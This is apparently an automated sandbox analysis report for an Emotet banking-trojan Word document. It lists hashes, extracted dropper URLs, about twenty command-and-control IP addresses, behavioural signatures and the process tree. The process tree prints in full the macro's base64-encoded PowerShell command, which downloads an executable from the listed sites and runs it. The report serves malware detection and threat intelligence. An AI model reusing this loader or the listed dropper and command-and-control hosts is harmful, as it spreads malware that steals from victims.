Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    64s
  • max time network
    137s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    12/08/2020, 14:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_99b13de6fb8ce378cd26647578fde7062c466b689a93ea660291b9cb8be2880a_2020-08-12__140954._doc.doc
  • Size 231KB
  • Sample200812-x5pv7ppbbx
  • SHA256 99b13de6fb8ce378cd26647578fde7062c466b689a93ea660291b9cb8be2880a
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://galaenterprises.com.au/site/6kw_wao_ekmv5w/
  • exe.dropper

    http://cookie.com.br/supleforma/9_j08_39f4phvj/
  • exe.dropper

    http://genevievebeaupre.com/wp-admin/7fd9o_6k_mev/
  • exe.dropper

    http://gazedice.com/loggers/o_rz_46d99/
  • exe.dropper

    https://wb0rur.com/certificates/h3_dmn_vc03ptvqg/

Extracted

Family

  • emotet

C2

  • 174.102.48.180:80

  • 88.217.172.164:443

  • 51.75.33.120:8080

  • 62.138.26.28:8080

  • 169.239.182.217:8080

  • 114.146.222.200:80

  • 116.203.32.252:8080

  • 103.86.49.11:8080

  • 74.120.55.163:80

  • 41.60.200.34:80

  • 209.182.216.177:443

  • 157.245.99.39:8080

  • 87.106.139.101:8080

  • 152.168.248.128:443

  • 104.236.246.93:8080

  • 47.144.21.12:443

  • 139.130.242.43:80

  • 181.230.116.163:80

  • 72.12.127.184:443

  • 61.19.246.238:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_99b13de6fb8ce378cd26647578fde7062c466b689a93ea660291b9cb8be2880a_2020-08-12__140954._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1124
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABGAEkARQBQAFQAawBjAGcAPQAnAFgASABNAFYARgB2AHcAcgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwBVAHIASQBgAFQAYABZAFAAUgBPAHQATwBDAGAAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAUQBEAFMAQgBQAGIAZgBjACAAPQAgACcANQA4ADIAJwA7ACQAUQBZAFMAQgBLAG4AawBpAD0AJwBJAEgASgBWAEIAegBoAGIAJwA7ACQATABNAEoAQwBRAG8AZgB1AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABRAEQAUwBCAFAAYgBmAGMAKwAnAC4AZQB4AGUAJwA7ACQAVgBTAFkAQQBLAGEAaQBtAD0AJwBVAFkAVwBGAFgAbQBmAGwAJwA7ACQASQBRAEMAUwBGAHMAYwBiAD0AJgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAJABUAFAASABHAEYAYwBhAG0APQAnAGgAdAB0AHAAOgAvAC8AZwBhAGwAYQBlAG4AdABlAHIAcAByAGkAcwBlAHMALgBjAG8AbQAuAGEAdQAvAHMAaQB0AGUALwA2AGsAdwBfAHcAYQBvAF8AZQBrAG0AdgA1AHcALwAqAGgAdAB0AHAAOgAvAC8AYwBvAG8AawBpAGUALgBjAG8AbQAuAGIAcgAvAHMAdQBwAGwAZQBmAG8AcgBtAGEALwA5AF8AagAwADgAXwAzADkAZgA0AHAAaAB2AGoALwAqAGgAdAB0AHAAOgAvAC8AZwBlAG4AZQB2AGkAZQB2AGUAYgBlAGEAdQBwAHIAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANwBmAGQAOQBvAF8ANgBrAF8AbQBlAHYALwAqAGgAdAB0AHAAOgAvAC8AZwBhAHoAZQBkAGkAYwBlAC4AYwBvAG0ALwBsAG8AZwBnAGUAcgBzAC8AbwBfAHIAegBfADQANgBkADkAOQAvACoAaAB0AHQAcABzADoALwAvAHcAYgAwAHIAdQByAC4AYwBvAG0ALwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAvAGgAMwBfAGQAbQBuAF8AdgBjADAAMwBwAHQAdgBxAGcALwAnAC4AIgBTAHAATABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE4ARwBUAEIASgBjAHkAeAA9ACcATgBNAEsAVwBYAHUAZQB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABLAFcASwBBAEUAaABuAGoAIABpAG4AIAAkAFQAUABIAEcARgBjAGEAbQApAHsAdAByAHkAewAkAEkAUQBDAFMARgBzAGMAYgAuACIARABPAFcAYABOAGAATABPAEEARABmAGkAYABsAGUAIgAoACQASwBXAEsAQQBFAGgAbgBqACwAIAAkAEwATQBKAEMAUQBvAGYAdQApADsAJABCAFEATwBTAFQAeABsAHAAPQAnAEcARABKAFgAUABwAHEAdQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEwATQBKAEMAUQBvAGYAdQApAC4AIgBMAGAARQBuAGcAdABoACIAIAAtAGcAZQAgADMANQA3ADAANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAGUAYQBgAFQARQAiACgAJABMAE0ASgBDAFEAbwBmAHUAKQA7ACQAVABJAFcAQgBNAHQAdQBhAD0AJwBZAEEAQgBBAEIAcABlAHYAJwA7AGIAcgBlAGEAawA7ACQAVQBOAFYAUQBVAHIAcgB0AD0AJwBRAFgAVgBGAEQAYQBmAGMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBQAEIAWgBaAHgAdABxAD0AJwBGAEQASABJAEsAdQB3AHoAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1532
  • C:\Users\Admin\582.exe
    C:\Users\Admin\582.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1784
    • C:\Windows\SysWOW64\TSpkg\KBDHU.exe
      "C:\Windows\SysWOW64\TSpkg\KBDHU.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1652

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1124-10-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/1124-6-0x000000000C020000-0x000000000C024000-memory.dmp
        Download

        memory/1124-3-0x0000000007030000-0x0000000007230000-memory.dmp
        Download

        memory/1124-5-0x000000000AFA0000-0x000000000AFA4000-memory.dmp
        Download

        memory/1124-2-0x0000000008B80000-0x0000000008B84000-memory.dmp
        Download

        memory/1532-13-0x000000001ACB0000-0x000000001ACB1000-memory.dmp
        Download

        memory/1532-15-0x00000000022F0000-0x00000000022F1000-memory.dmp
        Download

        memory/1532-16-0x000000001C4B0000-0x000000001C4B1000-memory.dmp
        Download

        memory/1532-17-0x000000001B560000-0x000000001B561000-memory.dmp
        Download

        memory/1532-14-0x0000000002500000-0x0000000002501000-memory.dmp
        Download

        memory/1532-12-0x0000000002420000-0x0000000002421000-memory.dmp
        Download

        memory/1532-9-0x000007FEE9BF0000-0x000007FEEA5DC000-memory.dmp
        Download

        memory/1652-23-0x0000000000270000-0x000000000027C000-memory.dmp
        Download

        memory/1784-20-0x0000000000290000-0x000000000029C000-memory.dmp
        Download

        memory/1896-24-0x000007FEEEF00000-0x000007FEEF17A000-memory.dmp
        Download